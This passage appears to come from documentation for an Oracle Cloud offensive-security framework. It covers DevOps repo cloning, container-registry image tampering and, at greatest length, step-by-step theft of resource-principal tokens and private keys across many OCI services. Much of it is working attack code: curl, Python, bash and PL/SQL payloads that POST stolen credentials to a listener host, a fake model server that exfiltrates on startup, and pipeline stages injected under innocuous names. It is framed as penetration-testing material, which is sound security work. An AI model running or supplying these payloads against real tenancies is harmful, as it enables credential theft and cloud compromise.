modules run exploit_devops_repositories_download --depth 0
# Non-interactive mode (auto-creates token if needed, no prompts)
modules run exploit_devops_repositories_download --yesWithout OCInferno (OCI CLI / git):
# Get the repository's HTTPS and SSH clone URLs
oci devops repository get --repository-id REPO_OCID --profile CRED_NAME \
| python3 -c "import json,sys; d=json.load(sys.stdin)['data']; print(d.get('httpUrl',''), d.get('sshUrl',''))"
# SSH clone (uses your API signing key — no auth token needed)
# Configure ~/.ssh/config with the OCI DevOps host key first, then:
git clone --depth 1 \
ssh://devops.scmservice.REGION.oci.oraclecloud.com/namespaces/NAMESPACE/projects/PROJECT_NAME/repositories/REPO_NAME
# HTTPS clone (create a temporary auth token, use as git password)
oci iam auth-token create --user-id USER_OCID --description temp-clone --profile CRED_NAME
# Identity Domain username format: TenancyName/DomainName/UserName
git clone --depth 1 \
https://TENANCY_NAME/DOMAIN_NAME/USERNAME@devops.scmservice.REGION.oci.oraclecloud.com/namespaces/NAMESPACE/projects/PROJECT_NAME/repositories/REPO_NAME
# Delete the token after cloning
oci iam auth-token delete --user-id USER_OCID --auth-token-id TOKEN_ID --profile CRED_NAME --forceOCIR (Oracle Container Image Registry) stores OCI Functions images, DevOps pipeline
build artifacts, and any other container images a tenancy uses. The module here
interacts with OCIR using OCI API request signing — the same key used for all other
OCI API calls — so no docker login and no auth token is needed for most operations.
Module path: modules.containerregistry.exploit.exploit_ocir_image_manipulate
OpenGraph Edges: None (registry manipulation; not modelled as an IAM graph edge)
Upload, pull, retag, replace, or delete OCIR container images without Docker. The
module uses Docker Registry API v2 authenticated via OCI API request signing — no
docker login, no auth token quota consumed.
Supported actions:
-
Upload — push a local
docker savetarball to OCIR (OCI signing, no auth token) -
Pull — download any tagged image to a local
docker savetarball - Retag — copy an existing tag to a new tag within the same repository
- Replace — delete the existing tag then push a new tarball (combine delete + upload)
- Delete — delete a specific tag by digest
-
Gen-auth-token — mint an OCI auth token for the active user and print the
docker logincommand (for external tools that require docker CLI, crane, skopeo, etc.)
Both interactive (browse repos → pick action) and drive-through (--repo,
--tag, --action) modes are supported.
You have manage functions-family but not manage auth-tokens — so docker login is
not an option. Use exploit_ocir_image_manipulate --repo OBJECT_STORAGE_NAMESPACE/fn-rpst --action upload --source ./fn-rpst-python312/fn_play.tar --new-tag latest to push
your RPST image using OCI API signing. No docker login, no auth token consumed. Then
pass the image URI to exploit_functions_rpst with --tarball for a fully auth-token-free
swap-and-invoke workflow.
read repos-family in compartment (interactive listing + pull)
manage repos-family in compartment (upload, replace, delete, retag)
USER_UPDATE + AUTH_TOKEN_CREATE (--gen-auth-token only; targets the active user)
Uses OCI API signing by default — same key used for all other OCI API calls, no docker login required. Optionally falls back to Basic auth with --auth-token TOKEN_ID --username NAMESPACE/USERNAME when a stored auth token is available (see
exploit_add_user_auth_token --save).
| Flag | Description |
|---|---|
--repo |
Repository path (e.g. OBJECT_STORAGE_NAMESPACE/myrepo) |
--tag |
Source tag (default: latest) |
--action |
upload / pull / retag / replace / delete
|
--source |
Local docker-save tarball path (for upload / replace) |
--dest |
Output tarball path for pull (default: <repo>_<tag>.tar) |
--new-tag |
Target tag for upload / retag / replace
|
--auth-token |
Token ID from configs auth-tokens list (Basic auth override) |
--username |
Docker username for --auth-token (format: NAMESPACE/USERNAME) |
--gen-auth-token |
Mint a token for the active user + print docker login command |
--cleanup |
With --gen-auth-token: delete the token immediately after printing |
--yes |
Skip confirmation prompts |
With OCInferno:
# Interactive: browse repos and pick an action
modules run exploit_ocir_image_manipulate
# Upload a tarball (no docker login; OCI signing)
modules run exploit_ocir_image_manipulate \
--repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
--action upload \
--source ./fn-rpst-python312/fn_play.tar \
--new-tag latest
# Pull an image to disk
modules run exploit_ocir_image_manipulate \
--repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
--tag latest \
--action pull \
--dest ./fn-rpst-latest.tar
# Retag (e.g. rename :latest to :backup before replacing)
modules run exploit_ocir_image_manipulate \
--repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
--tag latest \
--action retag \
--new-tag backup
# Delete a tag
modules run exploit_ocir_image_manipulate \
--repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
--tag victim-image \
--action delete \
--yes
# Replace tag (delete + upload atomically)
modules run exploit_ocir_image_manipulate \
--repo OBJECT_STORAGE_NAMESPACE/fn-rpst \
--tag latest \
--action replace \
--source ./fn-rpst-python312/fn_play.tar
# Mint an auth token for the active user + print docker login command
modules run exploit_ocir_image_manipulate --gen-auth-token
# Mint + delete immediately (one-shot docker login for external tools)
modules run exploit_ocir_image_manipulate --gen-auth-token --cleanup --yesWithout OCInferno (OCI CLI + docker):
# List repositories
oci artifacts container repository list \
--compartment-id COMPARTMENT_OCID --profile CRED_NAME
# List images in a repository
oci artifacts container image list \
--repository-id REPO_OCID --profile CRED_NAME
# Push an image with docker (requires auth token — see exploit_add_user_auth_token)
docker login REGION_CODE.ocir.io -u "OBJECT_STORAGE_NAMESPACE/USERNAME" -p "AUTH_TOKEN"
docker load -i fn_play.tar
docker tag SOURCE_IMAGE:TAG REGION_CODE.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
docker push REGION_CODE.ocir.io/OBJECT_STORAGE_NAMESPACE/fn-rpst:latest
# Delete an image
oci artifacts container image delete \
--image-id IMAGE_OCID --profile CRED_NAME --forceEvery module here mutates the tenancy -- there is no dry-run mode. After a test pass, clean up what you created:
- Users created via
exploit_create_user: delete via the OCI Console or CLI (oci iam user delete/ the domain's SCIM delete), which also removes their API keys and group memberships. - API keys added via
exploit_add_user_api_key(including the onesexploit_create_user --with-api-keymints): delete viaoci iam user api-key deleteor the domain admin console if the key was left on a real, non-test user. Note this framework has no exploit or process module to delete API keys. - Group memberships added via
exploit_add_self_to_group: remove viaoci iam group remove-useror the domain's SCIM group-patch. Note this framework has no exploit or process module to remove group members. - Policies created/appended via
exploit_write_policy: delete the policy, or remove the appended statement, viaoci iam policy delete/oci iam policy update. Note this framework has no exploit or process module to delete policies or remove policy statements.
Re-run enum_identity/process_oracle_cloud_hound_data afterward to confirm your workspace
DB and OpenGraph reflect the cleaned-up state.
General RPST mechanics and manual OCI CLI walkthrough for services without an automated exploit module. For services with exploit modules (DataFlow, Data Science Jobs, DevOps Build Pipelines, OCI Functions, Container Instances), see the Service Background section within each module above.
For all services in this section, the OCI runtime injects two pieces of credential material
as file paths via environment variables. You need both — the private key signs every
outbound HTTP request (OCI request-signing protocol), and the token provides the identity
claim embedded in the keyId field of that signature.
The env var names are the same across all RPST-capable services. What varies is the file path each variable points to (and for some services, how the runtime rotates the files):
| Variable | Always set? | Description |
|---|---|---|
OCI_RESOURCE_PRINCIPAL_RPST |
Yes | File path to the JWT session token |
OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM |
Yes | File path to the RSA private key |
OCI_RESOURCE_PRINCIPAL_REGION |
Yes | Region string, e.g. us-phoenix-1
|
The Quick Reference table below shows what path each service uses for the token and key.
curl -sS -X POST http://COLLAB_HOST/rpst \
-H "Content-Type: application/json" \
-d "{\"rpst\":\"$(cat $OCI_RESOURCE_PRINCIPAL_RPST | tr -d '\n')\",\"pk\":\"$(cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM | base64 -w0)\"}"SDK note: use oci.auth.signers.get_resource_principals_signer() when replaying — it reads
env var values as file paths and loads the token from disk. EphemeralResourcePrincipalSigner
expects inline token values and will fail on file-based material.
Load into OCInferno after extraction:
resource-principal CRED_NAME \
--token-file ./rpst.jwt \
--private-key-file ./rp_key.pem \
--region REGION
Services with automated exploit modules (OCI Functions, DevOps Build Pipelines, DataFlow, Container Instances, DS Job Runs) are covered in the Script Analysis sections of those modules above — see the Resource Principal (RPST) Extraction section. The table below covers no-module services only.
| Service | IAM Resource Type | Min Verb |
resource.type (DG) |
Attack Action | Token Path | Key Path |
|---|---|---|---|---|---|---|
| DevOps Deploy Pipeline | devops-deploy-pipeline |
use |
devopsdeploypipeline |
Inject deploy stage | Standard env vars | Standard env vars |
| DS Notebook Session | data-science-notebook-sessions |
use |
datasciencenotebooksession |
Open session → browser terminal | Standard env vars | Standard env vars |
| DS Pipeline Run | data-science-pipeline-runs |
manage |
datasciencepipelinerun |
Submit pipeline with bad step | Standard env vars | Standard env vars |
| DS Model Deployment | data-science-model-deployments |
use |
datasciencemodeldeployment |
Swap serving container image | Standard env vars | Standard env vars |
| Big Data Service | bds-instance |
use |
(policy-based, see below) | Malicious bootstrap script | /etc/security/tokens/rpst.token |
/etc/security/tokens/rpst.pem |
| Data Integration (DIS) | dis-workspaces |
use |
resource.id (see below) |
Create REST task → CreateTaskRun | Signed request header | Signed request header |
| GoldenGate | goldengate-deployments |
manage |
goldengatedeployment |
Update deployment image | Standard env vars | Standard env vars |
| Autonomous Database | autonomous-databases |
manage |
autonomousdatabase |
SQL/PL-SQL via DBMS_CLOUD_ADMIN | ADB-managed (not a file) | ADB-managed (not a file) |
| MySQL HeatWave | mysql-db-systems |
manage |
mysqldbsystem |
Stored procedure exfil | Service-managed | Service-managed |
| Oracle Integration Cloud | integration-instances |
manage |
integration-instance |
REST adapter flow | Signed request header | Signed request header |
| OKE Workload Identity | cluster |
use |
(OIDC token, not DG — see below) | Retrieve workload RPST via proxymux | In-cluster via proxymux endpoint | In-cluster via proxymux endpoint |
The following services have manual extraction procedures documented below. Services with automated exploit modules (OCI Functions, DevOps Build Pipelines, DataFlow, Container Instances, DS Job Runs) are covered in the Service Background sections of those modules above.
- DevOps Deploy Pipelines
- Data Science Notebook Sessions
- Data Science Pipeline Runs
- Data Science Model Deployments
- Big Data Service (BDS)
- Data Integration Service (DIS)
- GoldenGate
- Autonomous Database (ADB)
- MySQL HeatWave
- Oracle Integration Cloud (OIC 3)
- OKE Workload Identity
Deploy pipelines are a separate principal from build pipelines — each has its own
RPST bound to resource.type = 'devopsdeploypipeline'. A grant to build pipelines does
not extend to deploy pipelines.
ALL {resource.type = 'devopsdeploypipeline', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Source: Oracle DevOps policy examples
In place — if you can add or modify a shell-type deploy stage, echo to stdout captured in the deploy run log:
echo "RPST=$(cat $OCI_RESOURCE_PRINCIPAL_RPST)"
echo "PK=$(cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM | base64 -w0)"Retrieve the deploy run log from OCI Logging or the DevOps console (Deployment → Logs tab) after the run completes.
Exfil to listener:
1. List deploy pipelines:
oci devops deploy-pipeline list --compartment-id COMPARTMENT_ID --profile POC{
"data": {
"deploy-pipeline-collection": {
"items": [
{
"display-name": "backend-api-deploy",
"id": "ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID",
"lifecycle-state": "ACTIVE",
"project-id": "ocid1.devopsproject.oc1.phx.PROJECT_OCID"
}
]
}
}
}2. List existing deploy stages:
oci devops deploy-stage list \
--deploy-pipeline-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
--profile POC{
"data": {
"deploy-stage-collection": {
"items": [
{
"deploy-stage-type": "COMPUTE_INSTANCE_GROUP_ROLLING_DEPLOYMENT",
"display-name": "rolling-deploy",
"id": "ocid1.devopsdeploystage.oc1.phx.STAGE_OCID",
"lifecycle-state": "ACTIVE"
}
]
}
}
}3. Add a shell-script stage (SHELL type) that exfils the RPST:
oci devops deploy-stage create-shell-deploy-stage \
--deploy-pipeline-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
--display-name "health-gate" \
--deploy-stage-predecessor-collection \
'{"items": [{"id": "ocid1.devopsdeploystage.oc1.phx.STAGE_OCID"}]}' \
--command-spec-deploy-environment-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
--profile POCAlternatively inject the exfil command into an existing shell stage's inline script:
oci devops deploy-stage update \
--deploy-stage-id ocid1.devopsdeploystage.oc1.phx.STAGE_OCID \
--shell-script-deploy-environment-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
--profile POC4. Trigger a deployment:
oci devops deployment create \
--deploy-pipeline-id ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID \
--display-name "bad-deployment" \
--profile POC{
"data": {
"deploy-pipeline-id": "ocid1.devopsdeploypipeline.oc1.phx.DEPLOY_PIPELINE_OCID",
"display-name": "bad-deployment",
"id": "ocid1.devopsdeployment.oc1.phx.DEPLOYMENT_OCID",
"lifecycle-state": "ACCEPTED",
"time-created": "2026-07-23T00:00:00.000000+00:00"
}
}The deploy pipeline runs, the bad stage fires, and the RPST arrives at your listener.
ALL {resource.type = 'datasciencenotebooksession', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
1. List sessions:
oci data-science notebook-session list --compartment-id COMPARTMENT_ID --profile POC{
"data": [
{
"compartment-id": "ocid1.compartment.oc1..COMPARTMENT_OCID",
"display-name": "data-analysis-notebook",
"id": "ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID",
"lifecycle-state": "INACTIVE",
"project-id": "ocid1.datascienceproject.oc1.phx.PROJECT_OCID",
"time-created": "2026-06-01T00:00:00.000000+00:00"
}
]
}2. Activate the session if INACTIVE:
oci data-science notebook-session activate \
--notebook-session-id ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID \
--profile POC{
"data": {
"id": "ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID",
"lifecycle-state": "UPDATING"
}
}3. Get the session URL:
oci data-science notebook-session get \
--notebook-session-id ocid1.datasciencenotebooksession.oc1.phx.SESSION_OCID \
--query 'data."notebook-session-url"' \
--profile POC"https://SESSION_OCID.datascience.oci.oraclecloud.com/?token=SESSION_TOKEN"
4. Open in browser and read the env vars directly.
In place — launch a JupyterLab terminal and cat the files:
cat $OCI_RESOURCE_PRINCIPAL_RPST
cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEMExfil to listener — run in a notebook cell instead:
import os, json
from urllib.request import urlopen, Request
with open(os.environ['OCI_RESOURCE_PRINCIPAL_RPST']) as f:
rpst = f.read()
with open(os.environ['OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM']) as f:
pk = f.read()
payload = json.dumps({'source': 'ds-notebook', 'rpst': rpst, 'pk': pk}).encode()
urlopen(Request('http://COLLAB_HOST/ds-rpst', payload, {'Content-Type': 'application/json'}), timeout=15)ALL {resource.type = 'datasciencepipelinerun', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
When a pipeline run executes an ML_JOB step, OCI injects the pipeline run's RPST into the
step's execution environment — the same OCI_RESOURCE_PRINCIPAL_* env vars used by all
other services. Your code runs inside that environment and can read the token directly.
The pipeline must already have an ML_JOB step (or you must inject one) that references
the bad job artifact. Triggering a pipeline run executes that step, which runs your
artifact code, which exfils the RPST.
In place — if you add an ML_JOB step that prints to stdout, per-step logs are viewable in the OCI Data Science console (Pipeline Run → step name → Logs). Use the same print-to-stdout artifact from Data Science Job Runs.
Exfil to listener:
Prerequisites: Create the bad job artifact from Data Science Job Runs first. That job artifact is what runs inside the pipeline's ML_JOB step.
1. List pipelines:
oci data-science pipeline list --compartment-id COMPARTMENT_ID --profile POC{
"data": {
"pipeline-collection": {
"items": [
{
"display-name": "training-pipeline",
"id": "ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID",
"lifecycle-state": "ACTIVE"
}
]
}
}
}2. Inject an ML_JOB step into the pipeline pointing at your bad job:
oci data-science pipeline update \
--pipeline-id ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID \
--step-details '[{
"stepType": "ML_JOB",
"stepName": "rpst-exfil",
"jobId": "ocid1.datasciencejob.oc1.phx.JOB_OCID",
"stepInfrastructureConfigurationDetails": {
"shapeName": "VM.Standard2.1",
"blockStorageSizeInGBs": 50
},
"isDependencyStepEnabled": false
}]' \
--profile POC{
"data": {
"id": "ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID",
"lifecycle-state": "UPDATING"
}
}3. Submit a pipeline run:
oci data-science pipeline-run create \
--compartment-id COMPARTMENT_ID \
--pipeline-id ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID \
--display-name "bad-pipeline-run" \
--profile POC{
"data": {
"display-name": "bad-pipeline-run",
"id": "ocid1.datasciencepipelinerun.oc1.phx.PIPELINERUN_OCID",
"lifecycle-state": "ACCEPTED",
"pipeline-id": "ocid1.datasciencepipeline.oc1.phx.PIPELINE_OCID",
"time-accepted": "2026-07-23T00:00:00.000000+00:00"
}
}The rpst-exfil step runs, reads OCI_RESOURCE_PRINCIPAL_RPST + OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM,
and POSTs both to your listener.
ALL {resource.type = 'datasciencemodeldeployment', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
No in-place option: model deployments run a long-lived HTTP server with no interactive shell. Stdout is not easily retrievable, and OCI provides no exec/log-pull CLI for model deployment containers. Outbound exfil is the only practical path.
1. Build the pentester image.
Model deployments run an HTTP server — OCI health-checks hit / and the scoring endpoint
is /predict. The image must serve HTTP or OCI will terminate it. A minimal server that
exfils on startup and keeps responding:
server.py:
import os, json, threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.request import urlopen, Request
def exfil():
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
try:
rpst = open(rpst_path).read() if rpst_path else 'NOT_FOUND'
pk = open(pk_path).read() if pk_path else 'NOT_FOUND'
payload = json.dumps({'source': 'ds-model-deploy', 'rpst': rpst, 'pk': pk}).encode()
urlopen(Request('http://COLLAB_HOST/ds-md-rpst', payload, {'Content-Type': 'application/json'}), timeout=20)
except Exception:
pass
threading.Thread(target=exfil, daemon=True).start()
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
def do_POST(self):
self.send_response(200); self.end_headers(); self.wfile.write(b'{"prediction": 0}')
def log_message(self, *a): pass
HTTPServer(('0.0.0.0', 8080), H).serve_forever()Dockerfile:
FROM python:3.11-slim
WORKDIR /app
COPY server.py .
EXPOSE 8080
CMD ["python3", "server.py"]docker build -t DOCKERHUB_USER/ds-md-exfil:latest .
docker push DOCKERHUB_USER/ds-md-exfil:latest2. List existing model deployments:
oci data-science model-deployment list --compartment-id COMPARTMENT_ID --profile POC{
"data": [
{
"display-name": "fraud-detection-v2",
"id": "ocid1.datasciencemodeldeployment.oc1.phx.DEPLOYMENT_OCID",
"lifecycle-state": "ACTIVE",
"model-deployment-url": "https://DEPLOYMENT_OCID.modeldeployment.oci.oraclecloud.com"
}
]
}3. Swap the serving container:
oci data-science model-deployment update \
--model-deployment-id ocid1.datasciencemodeldeployment.oc1.phx.DEPLOYMENT_OCID \
--model-deployment-configuration-details '{
"deploymentType": "SINGLE_MODEL",
"modelConfigurationDetails": {
"instanceConfiguration": {
"instanceShapeName": "VM.Standard.E4.Flex",
"modelDeploymentInstanceShapeConfigDetails": {"cpuBaseline": "BASELINE_1_8", "memoryInGBs": 6, "ocpus": 1}
},
"modelId": "MODEL_OCID",
"scalingPolicy": {"policyType": "FIXED_SIZE", "instanceCount": 1},
"bandwidthMbps": 10
}
}' \
--profile POC{
"data": {
"display-name": "fraud-detection-v2",
"id": "ocid1.datasciencemodeldeployment.oc1.phx.DEPLOYMENT_OCID",
"lifecycle-state": "UPDATING",
"time-last-deployed": "2026-07-23T00:00:00.000000+00:00"
}
}When lifecycle-state returns to ACTIVE, the new container is running and the RPST
exfil fires from the background thread on startup.
BDS uses a different IAM matching mechanism. Instead of a dynamic group resource.type
rule, BDS resource principals are matched in policies using request.principal.type = 'bigdataservice'.
Allow any-user to read buckets in tenancy
where ALL {
request.principal.type = 'bigdataservice',
request.principal.id = 'ocid1.bdsinstance.oc1..CLUSTER_OCID'
}
Or scoped to a compartment:
Allow any-user to read buckets in tenancy
where ALL {
request.principal.type = 'bigdataservice',
request.principal.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'
}
Source: Oracle BDS resource principal
Token paths:
- Token:
/etc/security/tokens/rpst.token - Key:
/etc/security/tokens/rpst.pem
In place — if you already have SSH access to any BDS cluster node:
cat /etc/security/tokens/rpst.token
cat /etc/security/tokens/rpst.pemExfil via bootstrap (no prior SSH access):
1. List clusters:
oci bds instance list --compartment-id COMPARTMENT_ID --profile POC{
"data": [
{
"cluster-version": "ODH2",
"compartment-id": "ocid1.compartment.oc1..COMPARTMENT_OCID",
"display-name": "analytics-cluster",
"id": "ocid1.bdsinstance.oc1..CLUSTER_OCID",
"is-high-availability": true,
"lifecycle-state": "ACTIVE",
"number-of-nodes": 8
}
]
}2. Upload a bad bootstrap script to Object Storage and create a Pre-Authenticated Request (PAR):
bootstrap.sh:
#!/bin/bash
RPST=$(cat /etc/security/tokens/rpst.token | tr -d '\n')
PK=$(cat /etc/security/tokens/rpst.pem | base64 -w0)
curl -sS -X POST "http://COLLAB_HOST/bds-rpst" \
-H "Content-Type: application/json" \
-d "{\"source\":\"bds\",\"rpst\":\"$RPST\",\"pk\":\"$PK\"}"oci os object put \
--namespace-name OBJECT_STORAGE_NAMESPACE \
--bucket-name PENTESTER_BUCKET \
--name bootstrap.sh \
--file ./bootstrap.sh \
--profile POC
oci os preauth-request create \
--namespace-name OBJECT_STORAGE_NAMESPACE \
--bucket-name PENTESTER_BUCKET \
--name bootstrap-par \
--access-type ObjectRead \
--object-name bootstrap.sh \
--time-expires "2026-12-31T00:00:00.000Z" \
--profile POC{
"data": {
"access-uri": "/p/PREAUTH_TOKEN/n/OBJECT_STORAGE_NAMESPACE/b/PENTESTER_BUCKET/o/bootstrap.sh",
"bucket-name": "PENTESTER_BUCKET",
"id": "ocid1.preauthrequest.oc1..PAR_OCID",
"name": "bootstrap-par",
"object-name": "bootstrap.sh",
"time-expires": "2026-12-31T00:00:00.000000+00:00"
}
}3. Set the bootstrap URL on the cluster:
oci bds instance update \
--instance-id ocid1.bdsinstance.oc1..CLUSTER_OCID \
--bootstrap-script-url \
"https://objectstorage.REGION.oraclecloud.com/p/PREAUTH_TOKEN/n/OBJECT_STORAGE_NAMESPACE/b/PENTESTER_BUCKET/o/bootstrap.sh" \
--profile POC{
"data": {
"id": "ocid1.bdsinstance.oc1..CLUSTER_OCID",
"lifecycle-state": "UPDATING"
}
}4. Trigger a new worker node:
oci bds instance add-worker-nodes \
--instance-id ocid1.bdsinstance.oc1..CLUSTER_OCID \
--cluster-admin-password "CLUSTER_ADMIN_PASSWORD" \
--number-of-worker-nodes 1 \
--block-volume-size-in-gbs 150 \
--profile POC{
"data": {
"id": "ocid1.bdsinstance.oc1..CLUSTER_OCID",
"lifecycle-state": "UPDATING",
"number-of-nodes": 9
}
}The new worker node initializes, runs the bootstrap script, and the RPST POST arrives at your listener.
Note: DIS does not support
resource.typein dynamic group matching rules. Useresource.id = 'ocid1.disworkspace.oc1..WORKSPACE_OCID'in the DG rule to scope to a specific workspace. Alternatively, grant the workspace access via anany-userpolicy with arequest.principal.type = 'disworkspace'condition.
ANY {resource.id = 'ocid1.disworkspace.oc1..WORKSPACE_OCID'}
Or for all workspaces in a compartment (uses compartment, not resource.type):
ALL {resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID',
request.principal.type = 'disworkspace'}
Source: Oracle DIS REST tasks
DIS task management is done via the REST API — the OCI CLI does not expose task-level DIS operations. The workspace's identity signs all outbound REST calls.
1. List DIS workspaces:
oci data-integration workspace list --compartment-id COMPARTMENT_ID --profile POC{
"data": {
"items": [
{
"display-name": "etl-workspace",
"id": "ocid1.disworkspace.oc1.phx.WORKSPACE_OCID",
"lifecycle-state": "ACTIVE",
"endpoint-id": "ocid1.disworkspaceendpoint.oc1.phx.ENDPOINT_OCID"
}
]
}
}2. Create a REST task via the DIS API with OCI signing to an pentester-controlled endpoint:
DIS_API="https://dataintegration.REGION.oci.oraclecloud.com/20200430"
WORKSPACE_ID="ocid1.disworkspace.oc1.phx.WORKSPACE_OCID"
curl -sS -X POST "${DIS_API}/workspaces/${WORKSPACE_ID}/tasks" \
-H "Content-Type: application/json" \
-H "Authorization: <OCI_SIG>" \
--data '{
"modelType": "REST_TASK",
"name": "ExfilTask",
"apiCallMode": "ASYNC_GENERIC",
"restEndpoint": {
"modelType": "REST_ENDPOINT",
"url": "http://COLLAB_HOST/dis-rpst",
"methodType": "POST"
},
"authConfig": {
"modelType": "OCI_RESOURCE_AUTH_CONFIG"
}
}'{
"key": "TASK_KEY",
"modelType": "REST_TASK",
"name": "ExfilTask",
"lifecycle-state": "ACTIVE"
}3. Execute the task:
curl -sS -X POST "${DIS_API}/workspaces/${WORKSPACE_ID}/taskRuns" \
-H "Authorization: <OCI_SIG>" \
--data '{"taskKey": "TASK_KEY", "configProvider": {"bindings": {}}}'{
"key": "TASKRUN_KEY",
"status": "ACCEPTED",
"taskKey": "TASK_KEY"
}4. The workspace's resource principal signs the outbound POST to your listener. Capture the
full signed request — the Authorization header's key ID encodes the resource principal claim.
ALL {resource.type = 'goldengatedeployment', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Source: Oracle GoldenGate dynamic group guide
In place — if you have SSH access to the GoldenGate compute host (the GG VM runs on an OCI instance):
echo $OCI_RESOURCE_PRINCIPAL_RPST
cat $OCI_RESOURCE_PRINCIPAL_RPST
cat $OCI_RESOURCE_PRINCIPAL_PRIVATE_PEMOtherwise, outbound exfil via the GoldenGate REST API or deployment config is required (see below).
Exfil to listener:
1. List deployments:
oci goldengate deployment list --compartment-id COMPARTMENT_ID --profile POC{
"data": {
"items": [
{
"display-name": "prod-replication",
"id": "ocid1.goldengatedeployment.oc1.phx.DEPLOYMENT_OCID",
"lifecycle-state": "ACTIVE",
"deployment-url": "https://DEPLOYMENT_OCID.deployment.goldengate.oci.oraclecloud.com"
}
]
}
}2. Update the deployment (modifying the OGG data or license type triggers a restart with pentester-controlled configuration; inject a custom replication script via the GoldenGate REST API once the deployment is accessible):
oci goldengate deployment update \
--deployment-id ocid1.goldengatedeployment.oc1.phx.DEPLOYMENT_OCID \
--display-name "prod-replication" \
--ogg-data '{"adminUsername": "admin"}' \
--profile POC{
"data": {
"display-name": "prod-replication",
"id": "ocid1.goldengatedeployment.oc1.phx.DEPLOYMENT_OCID",
"lifecycle-state": "UPDATING"
}
}3. Once the deployment restarts, use the GoldenGate REST API to create a replication process that calls out to your listener. The deployment's RPST is set in the standard env vars; use the exfil pattern from the top of the Resource Principal section.
ADB resource principals are not file-based. The Oracle Database runtime manages the RPST internally via DBMS_CLOUD. You enable resource principal access through a SQL procedure, then exfil using built-in UTL_HTTP or DBMS_CLOUD_ADMIN queries.
ALL {resource.type = 'autonomousdatabase', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Source: Oracle ADB resource principal
The attack requires SQL access to the ADB (e.g., ADMIN credentials or a DB user with
EXECUTE on DBMS_CLOUD_ADMIN).
1. List ADB instances:
oci db autonomous-database list --compartment-id COMPARTMENT_ID --profile POC{
"data": [
{
"db-name": "prodatp",
"display-name": "prod-analytics-atp",
"id": "ocid1.autonomousdatabase.oc1.phx.ADB_OCID",
"lifecycle-state": "AVAILABLE",
"db-workload": "OLTP",
"is-free-tier": false,
"time-created": "2026-01-10T00:00:00.000000+00:00"
}
]
}2. Enable resource principal (requires ADMIN or DBA role):
Connect to the ADB (via SQL*Net, SQL Developer, or oci db autonomous-database generate-wallet)
and run:
-- Enable resource principal for this DB
BEGIN
DBMS_CLOUD_ADMIN.ENABLE_RESOURCE_PRINCIPAL();
END;
/PL/SQL procedure successfully completed.
3. Verify resource principal is active:
SELECT OWNER, OBJECT_NAME FROM ALL_OBJECTS
WHERE OBJECT_NAME = 'OCI$RESOURCE_PRINCIPAL';OWNER OBJECT_NAME
----------- ---------------------
SYS OCI$RESOURCE_PRINCIPAL
4. Exfil via UTL_HTTP (requires ACL on the ADB for outbound HTTP):
DECLARE
v_req UTL_HTTP.REQ;
v_resp UTL_HTTP.RESP;
v_rpst CLOB;
BEGIN
-- Read token from internal DBMS_CLOUD credential store
v_rpst := DBMS_CLOUD_ADMIN.GET_RESOURCE_PRINCIPAL_TOKEN();
v_req := UTL_HTTP.BEGIN_REQUEST(
url => 'http://COLLAB_HOST/adb-rpst',
method => 'POST'
);
UTL_HTTP.SET_HEADER(v_req, 'Content-Type', 'application/json');
UTL_HTTP.WRITE_TEXT(v_req, '{"source":"adb","rpst":"' || v_rpst || '"}');
v_resp := UTL_HTTP.GET_RESPONSE(v_req);
UTL_HTTP.END_RESPONSE(v_resp);
END;
/5. Alternative — exfil via DBMS_CLOUD.PUT_OBJECT to pentester-controlled bucket:
-- Write RPST to an pentester-controlled pre-authenticated request URL
BEGIN
DBMS_CLOUD.PUT_OBJECT(
credential_name => NULL, -- use resource principal
object_uri => 'https://objectstorage.REGION.oraclecloud.com/p/PREAUTH_TOKEN/n/OBJECT_STORAGE_NAMESPACE/b/PENTESTER_BUCKET/o/adb_rpst.txt',
directory_name => 'DATA_PUMP_DIR',
file_name => 'adb_rpst.txt'
);
END;
/Load into OCInferno:
The ADB token is a standard RPST JWT. Extract it from your listener and load as
resource-principal with --token-inline (OCInferno handles inline tokens for ADB since
there is no key file — OCI SDK signs using the ADB's internal signer, not a local key):
resource-principal CRED_NAME \
--token-inline <RPST_JWT> \
--region REGION
MySQL HeatWave DB systems support resource principals via the HeatWave ML runtime. The RPST is managed internally by the service — there are no env vars to print and no file paths to cat. The only access path is SQL-based (stored procedures, HeatWave ML calls, or outbound HTTP from within the DB runtime).
